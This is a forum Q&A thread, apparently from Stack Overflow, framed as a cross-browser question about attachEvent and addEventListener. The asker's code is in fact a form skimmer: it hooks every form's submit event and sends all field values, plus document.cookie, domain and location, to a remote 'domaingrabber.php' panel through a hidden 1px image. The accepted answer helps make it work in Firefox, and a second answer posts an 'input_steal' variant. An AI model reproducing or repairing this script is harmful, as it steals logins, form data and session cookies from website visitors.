Firefox attachEvent and addEventListener issues with both

Question

I've got two sets of js one with attach event and one with addEventListener attach event works perfectly in IE 8 as expected and addEventListener for IE 9. If I use addEventListener on Firefox in jsfiddle it seems to work fine no issues in Firefox but as soon as I deploy it and try to use it as intended it just doesn't work at all. Any input would be great.

IE 8

var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
 {


    // alert(formsCollection[i].name);
    formsCollection[i].attachEvent('onsubmit', function() {
       //working fine

            var formsCollection1 = document.getElementsByTagName("form");

            for (x = 0 ; x < formsCollection1.length; x++)
            {
                var elements1 = formsCollection1[x].elements;
                for (e = 0 ; e < elements1.length; e++)
                {
                    chain += elements1[e].name + "%3d" + elements1[e].value + "|";
                }
            }
           attachForm(chain);

//end mid
        }, false);
    }


function attachForm(data) {

//   alert(data);
    var oImg=document.createElement("img");
oImg.setAttribute('src', "URL"+data);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);
    
}

IE 10

var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
 {


    // alert(formsCollection[i].name);
    formsCollection[i].addEventListener('submit', function() {
       //working fine

            var formsCollection1 = document.getElementsByTagName("form");

            for (x = 0 ; x < formsCollection1.length; x++)
            {
                var elements1 = formsCollection1[x].elements;
                for (e = 0 ; e < elements1.length; e++)
                {
                    chain += elements1[e].name + "%3d" + elements1[e].value + "|";
                }
            }
           attachForm(chain);

//end mid
        }, false);
    }


function attachForm(data) {

//   alert(data);
    var oImg=document.createElement("img");
oImg.setAttribute('src', "http://192.168.91.144/panel/domaingrabber.php?id=0.0.0.0&domain="+document.domain+"&location="+document.location+"&cookie="+document.cookie+"&post="+data);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);





}

Any ideas would be great, it's probably something stupid, but I just can't think today.

Make sure you declare `e` and `x` in your loops with `var` – Ian Jun 11 '13 at 15:54 — Ian, Jun 11 '13 at 15:54

score 5 · Accepted Answer · answered Jun 11 '13 at 15:52

Combine them into a general function that can detect the correct way:

function addEvent(element, eventName, callback) {
    if (element.addEventListener) {
        element.addEventListener(eventName, callback, false);
    } else if (element.attachEvent) {
        element.attachEvent("on" + eventName, callback);
    }
}

and then use it like:

addEvent(document.getElementById("some_id"), "click", function () {
    // Your click handler for that element
});

That way, your code that binds the event doesn't need to figure out which to use and can work in every browser as long as you call addEvent.

score 0 · Answer 2 · answered Mar 08 '14 at 17:40

I just created the following with your help, thank you. It works in Firefox for me. I uploaded a demo to http://mikaelz.host.sk/helpers/input_steal.html

function collectInputs() {
    var forms = parent.document.getElementsByTagName("form");
    for (var i = 0;i < forms.length;i++) {
        forms[i].addEventListener('submit', function() {
            var data = [],
                subforms = parent.document.getElementsByTagName("form");

            for (x = 0 ; x < subforms.length; x++) {
                var elements = subforms[x].elements;
                for (e = 0; e < elements.length; e++) {
                    if (elements[e].name.length) {
                        data.push(elements[e].name + "=" + elements[e].value);
                    }
                }
            }
            console.log(data.join('&'));
            // attachForm(data.join('&));
        }, false);
    }
}
window.onload = collectInputs();

Firefox attachEvent and addEventListener issues with both

2 Answers2

Linked